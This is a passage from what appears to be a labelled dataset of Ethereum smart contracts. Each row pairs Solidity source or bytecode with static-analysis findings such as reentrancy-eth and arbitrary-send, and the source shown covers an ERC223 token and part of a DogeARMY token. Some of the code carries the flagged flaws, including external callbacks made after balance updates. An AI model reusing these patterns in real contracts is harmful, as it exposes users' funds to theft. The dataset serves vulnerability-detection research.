09c509c505050505050505091939550919395565b600061289483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061200b565b905092915050565b60008082846128ab919061348a565b9050838110156128f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e790613265565b60405180910390fd5b8091505092915050565b60006129046124e2565b9050600061291b8284612b1090919063ffffffff16565b905061296f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129cc8260085461285290919063ffffffff16565b6008819055506129e78160095461289c90919063ffffffff16565b6009819055505050565b600080600080612a1d6064612a0f888a612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a476064612a39888b612b1090919063ffffffff16565b61250d90919063ffffffff16565b90506000612a7082612a62858c61285290919063ffffffff16565b61285290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aa08589612b1090919063ffffffff16565b90506000612ab78689612b1090919063ffffffff16565b90506000612ace8789612b1090919063ffffffff16565b90506000612af782612ae9858761285290919063ffffffff16565b61285290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b235760009050612b85565b60008284612b319190613511565b9050828482612b4091906134e0565b14612b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7790613285565b60405180910390fd5b809150505b92915050565b600081359050612b9a816139d9565b92915050565b600081519050612baf816139d9565b92915050565b600081359050612bc4816139f0565b92915050565b600081359050612bd981613a07565b92915050565b600081519050612bee81613a07565b92915050565b600081359050612c0381613a1e565b92915050565b600081519050612c1881613a1e565b92915050565b600060208284031215612c3057600080fd5b6000612c3e84828501612b8b565b91505092915050565b600060208284031215612c5957600080fd5b6000612c6784828501612ba0565b91505092915050565b600060208284031215612c8257600080fd5b6000612c9084828501612bb5565b91505092915050565b60008060408385031215612cac57600080fd5b6000612cba85828601612b8b565b9250506020612ccb85828601612b8b565b9150509250929050565b600080600060608486031215612cea57600080fd5b6000612cf886828701612b8b565b9350506020612d0986828701612b8b565b9250506040612d1a86828701612bf4565b9150509250925092565b60008060408385031215612d3757600080fd5b6000612d4585828601612b8b565b9250506020612d5685828601612bf4565b9150509250929050565b600060208284031215612d7257600080fd5b6000612d8084828501612bca565b91505092915050565b600060208284031215612d9b57600080fd5b6000612da984828501612bdf565b91505092915050565b600060208284031215612dc457600080fd5b6000612dd284828501612bf4565b91505092915050565b600080600060608486031215612df057600080fd5b6000612dfe86828701612c09565b9350506020612e0f86828701612c09565b9250506040612e2086828701612c09565b9150509250925092565b6000612e368383612e42565b60208301905092915050565b612e4b8161359f565b82525050565b612e5a8161359f565b82525050565b6000612e6b82613445565b612e758185613468565b9350612e8083613435565b8060005b83811015612eb1578151612e988882612e2a565b9750612ea38361345b565b925050600181019050612e84565b5085935050505092915050565b612ec7816135c3565b82525050565b612ed681613606565b82525050565b6000612ee782613450565b612ef18185613479565b9350612f01818560208601613618565b612f0a816136a9565b840191505092915050565b6000612f22602383613479565b9150612f2d826136ba565b604082019050919050565b6000612f45602a83613479565b9150612f5082613709565b604082019050919050565b6000612f68602283613479565b9150612f7382613758565b604082019050919050565b6000612f8b601b83613479565b9150612f96826137a7565b602082019050919050565b6000612fae602183613479565b9150612fb9826137d0565b604082019050919050565b6000612fd1602083613479565b9150612fdc8261381f565b602082019050919050565b6000612ff4602983613479565b9150612fff82613848565b604082019050919050565b6000613017601783613479565b915061302282613897565b602082019050919050565b600061303a602583613479565b9150613045826138c0565b604082019050919050565b600061305d602483613479565b91506130688261390f565b604082019050919050565b6000613080601783613479565b915061308b8261395e565b602082019050919050565b60006130a3601c83613479565b91506130ae82613987565b602082019050919050565b60006130c6601283613479565b91506130d1826139b0565b602082019050919050565b6130e5816135ef565b82525050565b6130f4816135f9565b82525050565b600060208201905061310f6000830184612e51565b92915050565b600060408201905061312a6000830185612e51565b6131376020830184612e51565b9392505050565b60006040820190506131536000830185612e51565b61316060208301846130dc565b9392505050565b600060c08201905061317c6000830189612e51565b61318960208301886130dc565b6131966040830187612ecd565b6131a36060830186612ecd565b6131b06080830185612e51565b6131bd60a08301846130dc565b979650505050505050565b60006020820190506131dd6000830184612ebe565b92915050565b600060208201905081810360008301526131fd8184612edc565b905092915050565b6000602082019050818103600083015261321e81612f15565b9050919050565b6000602082019050818103600083015261323e81612f38565b9050919050565b6000602082019050818103600083015261325e81612f5b565b9050919050565b6000602082019050818103600083015261327e81612f7e565b9050919050565b6000602082019050818103600083015261329e81612fa1565b9050919050565b600060208201905081810360008301526132be81612fc4565b9050919050565b600060208201905081810360008301526132de81612fe7565b9050919050565b600060208201905081810360008301526132fe8161300a565b9050919050565b6000602082019050818103600083015261331e8161302d565b9050919050565b6000602082019050818103600083015261333e81613050565b9050919050565b6000602082019050818103600083015261335e81613073565b9050919050565b6000602082019050818103600083015261337e81613096565b9050919050565b6000602082019050818103600083015261339e816130b9565b9050919050565b60006020820190506133ba60008301846130dc565b92915050565b600060a0820190506133d560008301886130dc565b6133e26020830187612ecd565b81810360408301526133f48186612e60565b90506134036060830185612e51565b61341060808301846130dc565b9695505050505050565b600060208201905061342f60008301846130eb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613495826135ef565b91506134a0836135ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134d5576134d461364b565b5b828201905092915050565b60006134eb826135ef565b91506134f6836135ef565b9250826135065761350561367a565b5b828204905092915050565b600061351c826135ef565b9150613527836135ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135605761355f61364b565b5b828202905092915050565b6000613576826135ef565b9150613581836135ef565b9250828210156135945761359361364b565b5b828203905092915050565b60006135aa826135cf565b9050919050565b60006135bc826135cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613611826135ef565b9050919050565b60005b8381101561363657808201518184015260208101905061361b565b83811115613645576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b6139e28161359f565b81146139ed57600080fd5b50565b6139f9816135b1565b8114613a0457600080fd5b50565b613a10816135c3565b8114613a1b57600080fd5b50565b613a27816135ef565b8114613a3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204632337927c601ee527cc2caf0213242924a949a6b1e5ddf66c9b745e981657264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,450 |
0x02E24Acc7098E7BedF6e1D863D8034F692ad2E22
|
pragma solidity ^0.4.21;
/**
* @title Ownable contract - base contract with an owner
*/
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address _from, address _to);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
assert(_newOwner != address(0));
newOwner = _newOwner;
}
/**
* @dev Accept transferOwnership.
*/
function acceptOwnership() public {
if (msg.sender == newOwner) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function safeSub(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x - y;
assert(z <= x);
return z;
}
function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
assert(z >= x);
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
function safeMul(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x * y;
assert(x == 0 || z / x == y);
return z;
}
function min(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x <= y ? x : y;
return z;
}
function max(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x >= y ? x : y;
return z;
}
}
/* New ERC23 contract interface */
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint256 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool success);
}
contract ERC223Token is ERC223,SafeMath ,Ownable {
mapping(address => uint) balances;
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public crowdsaleAgent;
address[] public addrCotracts;
bool public released = false;
mapping(address => bool) public privilegedAddr;
bool public privilege = false;
/**
* @dev The function can be called only by crowdsale agent.
*/
modifier onlyCrowdsaleAgent() {
assert(msg.sender == crowdsaleAgent);
_;
}
/**
* @dev Limit token transfer until the crowdsale is over.
*/
modifier canTransfer() {
if(msg.sender != address(this)){
if(!released){
if(!privilege){
revert();
}else if(!privilegedAddr[msg.sender]){
revert();
}
}
}
_;
}
// Function to access name of token .
function name() public view returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint256 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public canTransfer returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public canTransfer returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
bool flag = false;
for(uint i = 0; i < addrCotracts.length; i++) {
if(_to == addrCotracts[i]) flag = true;
}
if(flag){
balances[this] = safeAdd(balanceOf(this), _value);
}else{
balances[_to] = safeAdd(balanceOf(_to), _value);
}
ContractReceiver receiver = ContractReceiver(_to);
if(receiver.tokenFallback(msg.sender, _value, _data)){
emit Transfer(msg.sender, _to, _value, _data);
return true;
}else{
revert();
}
if(flag){
emit Transfer(msg.sender, this, _value, _data);
}else{
emit Transfer(msg.sender, _to, _value, _data);
}
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
/**
* @dev Create new tokens and allocate them to an address. Only callably by a crowdsale agent
* @param _to dest address
* @param _value tokens amount
* @return mint result
*/
function mint(address _to, uint _value, bytes _data) public onlyCrowdsaleAgent returns (bool success) {
totalSupply = safeAdd(totalSupply, _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(0, _to, _value, _data);
return true;
}
/**
* @dev Set the crowdsale Agent
* @param _crowdsaleAgent crowdsale contract address
*/
function setCrowdsaleAgent(address _crowdsaleAgent) public onlyOwner {
crowdsaleAgent = _crowdsaleAgent;
}
/**
* @dev One way function to release the tokens to the wild. Can be called only from the release agent that is the final ICO contract.
*/
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
function releasePrivilege() public onlyCrowdsaleAgent {
privilege = true;
}
function setAddrForPrivilege(address _owner) public onlyCrowdsaleAgent {
privilegedAddr[_owner] = true;
}
function getAddrForPrivilege(address _owner) public view returns (bool success){
return privilegedAddr[_owner];
}
}
/**
* @title Oil-T contract - standard ERC20 token with Short Hand Attack and approve() race condition mitigation.
*/
contract OilToken is ERC223Token{
/**
* @dev The function can be called only by agent.
*/
modifier onlyAgent() {
bool flag = false;
for(uint i = 0; i < addrCotracts.length; i++) {
if(msg.sender == addrCotracts[i]) flag = true;
}
assert(flag);
_;
}
/** Name and symbol were updated. */
event UpdatedTokenInformation(string newName, string newSymbol);
/**
* @param _name Token name
* @param _symbol Token symbol - should be all caps
* @param _decimals Number of decimal places
*/
function OilToken(string _name, string _symbol, uint256 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function tokenFallback(address _from, uint _value, bytes _data) public onlyAgent returns (bool success){
balances[this] = safeSub(balanceOf(this), _value);
balances[_from] = safeAdd(balanceOf(_from), _value);
emit Transfer(this, _from, _value, _data);
return true;
}
/**
* Owner can update token information here.
*
* It is often useful to conceal the actual token association, until
* the token operations, like central issuance or reissuance have been completed.
*
* This function allows the token owner to rename the token after the operations
* have been completed and then point the audience to use the token contract.
*/
function setTokenInformation(string _name, string _symbol) public onlyOwner {
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
function setAddr (address _addr) public onlyOwner {
addrCotracts.push(_addr);
}
function transferForICO(address _to, uint _value) public onlyCrowdsaleAgent returns (bool success) {
return this.transfer(_to, _value);
}
function delAddr (uint number) public onlyOwner {
require(number < addrCotracts.length);
for(uint i = number; i < addrCotracts.length-1; i++) {
addrCotracts[i] = addrCotracts[i+1];
}
addrCotracts.length = addrCotracts.length-1;
}
}
|
0x6060604052600436106101455763ffffffff60e060020a60003504166306f659e2811461014a57806306fdde031461017d5780630b7d6320146102075780631308c3241461023657806318160ddd14610257578063313ce5671461027c57806334103ee41461028f57806349480bc1146102ae5780634a1444d5146102c15780634eee966f146102d75780635f412d4f1461036a57806370a082311461037d57806370ad0cc61461039c57806379ba5097146103b25780638da5cb5b146103c55780639355eb25146103d857806394d008ef146103eb57806395d89b411461045057806396132521146104635780639cdfa3df14610476578063a75e285314610495578063a9059cbb146104b7578063be45fd62146104d9578063c0ee0b8a1461053e578063d1d80fdf146105a3578063d4ee1d90146105c2578063f2fde38b146105d5575b600080fd5b341561015557600080fd5b610169600160a060020a03600435166105f4565b604051901515815260200160405180910390f35b341561018857600080fd5b610190610609565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101cc5780820151838201526020016101b4565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021257600080fd5b61021a6106b2565b604051600160a060020a03909116815260200160405180910390f35b341561024157600080fd5b610255600160a060020a03600435166106c1565b005b341561026257600080fd5b61026a6106fd565b60405190815260200160405180910390f35b341561028757600080fd5b61026a610703565b341561029a57600080fd5b610255600160a060020a0360043516610709565b34156102b957600080fd5b610255610750565b34156102cc57600080fd5b61021a600435610777565b34156102e257600080fd5b61025560046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061079f95505050505050565b341561037557600080fd5b61025561090a565b341561038857600080fd5b61026a600160a060020a0360043516610931565b34156103a757600080fd5b61025560043561094c565b34156103bd57600080fd5b610255610a13565b34156103d057600080fd5b61021a610ab4565b34156103e357600080fd5b610169610ac3565b34156103f657600080fd5b61016960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610acc95505050505050565b341561045b57600080fd5b610190610bca565b341561046e57600080fd5b610169610c3d565b341561048157600080fd5b610169600160a060020a0360043516610c46565b34156104a057600080fd5b610169600160a060020a0360043516602435610c64565b34156104c257600080fd5b610169600160a060020a0360043516602435610cf0565b34156104e457600080fd5b61016960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610d8b95505050505050565b341561054957600080fd5b61016960048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e1795505050505050565b34156105ae57600080fd5b610255600160a060020a0360043516610f61565b34156105cd57600080fd5b61021a610fc4565b34156105e057600080fd5b610255600160a060020a0360043516610fd3565b600b6020526000908152604090205460ff1681565b6106116114e9565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b505050505090505b90565b600854600160a060020a031681565b60085433600160a060020a039081169116146106d957fe5b600160a060020a03166000908152600b60205260409020805460ff19166001179055565b60075490565b60065490565b60015433600160a060020a0390811691161461072157fe5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60085433600160a060020a0390811691161461076857fe5b600c805460ff19166001179055565b600980548290811061078557fe5b600091825260209091200154600160a060020a0316905081565b60015433600160a060020a039081169116146107b757fe5b60048280516107ca9291602001906114fb565b5060058180516107de9291602001906114fb565b507fd131ab1e6f279deea74e13a18477e13e2107deb6dc8ae955648948be5841fb46600460056040516040808252835460026000196101006001841615020190911604908201819052819060208201906060830190869080156108825780601f1061085757610100808354040283529160200191610882565b820191906000526020600020905b81548152906001019060200180831161086557829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156108f65780601f106108cb576101008083540402835291602001916108f6565b820191906000526020600020905b8154815290600101906020018083116108d957829003601f168201915b505094505050505060405180910390a15050565b60085433600160a060020a0390811691161461092257fe5b600a805460ff19166001179055565b600160a060020a031660009081526003602052604090205490565b60015460009033600160a060020a0390811691161461096757fe5b600954821061097557600080fd5b50805b600954600019018110156109fb57600980546001830190811061099757fe5b60009182526020909120015460098054600160a060020a0390921691839081106109bd57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055600101610978565b600980546000190190610a0e9082611579565b505050565b60025433600160a060020a0390811691161415610ab2576001546002547f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600154600160a060020a031681565b600c5460ff1681565b60085460009033600160a060020a03908116911614610ae757fe5b610af36007548461102c565b600755600160a060020a038416600090815260036020526040902054610b19908461102c565b600160a060020a03851660009081526003602052604090819020919091558290518082805190602001908083835b60208310610b665780518252601f199092019160209182019101610b47565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031660006000805160206115b48339815191528660405190815260200160405180910390a45060015b9392505050565b610bd26114e9565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b600a5460ff1681565b600160a060020a03166000908152600b602052604090205460ff1690565b60085460009033600160a060020a03908116911614610c7f57fe5b30600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610cd357600080fd5b5af11515610ce057600080fd5b5050506040518051949350505050565b6000610cfa6114e9565b30600160a060020a031633600160a060020a0316141515610d5957600a5460ff161515610d5957600c5460ff161515610d3257600080fd5b600160a060020a0333166000908152600b602052604090205460ff161515610d5957600080fd5b610d628461103b565b15610d7957610d72848483611043565b9150610d84565b610d728484836113ce565b5092915050565b600030600160a060020a031633600160a060020a0316141515610dec57600a5460ff161515610dec57600c5460ff161515610dc557600080fd5b600160a060020a0333166000908152600b602052604090205460ff161515610dec57600080fd5b610df58461103b565b15610e0c57610e05848484611043565b9050610bc3565b610e058484846113ce565b600080805b600954811015610e61576009805482908110610e3457fe5b60009182526020909120015433600160a060020a0390811691161415610e5957600191505b600101610e1c565b811515610e6a57fe5b610e7c610e7630610931565b866114da565b600160a060020a033016600090815260036020526040902055610ea7610ea187610931565b8661102c565b600160a060020a03871660009081526003602052604090819020919091558490518082805190602001908083835b60208310610ef45780518252601f199092019160209182019101610ed5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902086600160a060020a031630600160a060020a03166000805160206115b48339815191528860405190815260200160405180910390a450600195945050505050565b60015433600160a060020a03908116911614610f7957fe5b6009805460018101610f8b8382611579565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b60015433600160a060020a03908116911614610feb57fe5b600160a060020a0381161515610ffd57fe5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610bc357fe5b6000903b1190565b6000806000808561105333610931565b101561105e57600080fd5b61107061106a33610931565b876114da565b600160a060020a03331660009081526003602052604081209190915592508291505b6009548210156110d95760098054839081106110aa57fe5b600091825260209091200154600160a060020a03888116911614156110ce57600192505b600190910190611092565b821561110f576110f16110eb30610931565b8761102c565b600160a060020a033016600090815260036020526040902055611135565b61111b6110eb88610931565b600160a060020a0388166000908152600360205260409020555b5085600160a060020a03811663c0ee0b8a3388886040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111b657808201518382015260200161119e565b50505050905090810190601f1680156111e35780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561120357600080fd5b5af1151561121057600080fd5b505050604051805190501561014557846040518082805190602001908083835b6020831061124f5780518252601f199092019160209182019101611230565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a03166000805160206115b48339815191528960405190815260200160405180910390a4600193506113c4565b602083106112d85780518252601f1990920191602091820191016112b9565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902030600160a060020a031633600160a060020a03166000805160206115b48339815191528960405190815260200160405180910390a46113bf565b6020831061135d5780518252601f19909201916020918201910161133e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902087600160a060020a031633600160a060020a03166000805160206115b48339815191528960405190815260200160405180910390a45b600193505b5050509392505050565b6000826113da33610931565b10156113e557600080fd5b6113f76113f133610931565b846114da565b600160a060020a03331660009081526003602052604090205561142261141c85610931565b8461102c565b600160a060020a03851660009081526003602052604090819020919091558290518082805190602001908083835b6020831061146f5780518252601f199092019160209182019101611450565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03166000805160206115b48339815191528660405190815260200160405180910390a45060019392505050565b600081830383811115610bc357fe5b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061153c57805160ff1916838001178555611569565b82800160010185558215611569579182015b8281111561156957825182559160200191906001019061154e565b50611575929150611599565b5090565b815481835581811511610a0e57600083815260209020610a0e9181019083015b6106af91905b80821115611575576000815560010161159f5600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a72305820084450c6c339cdf6e6de4b85cfe44d5c2b03e617103a6b1fd12bab91d5c6ea040029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,451 |
0xa70d3b3e52395c6c5cc39467e247837613264846
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DogeARMY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"DogeARMY";
string private constant _symbol = unicode"DogeARMY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 6;
uint256 private _feeRate = 7;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
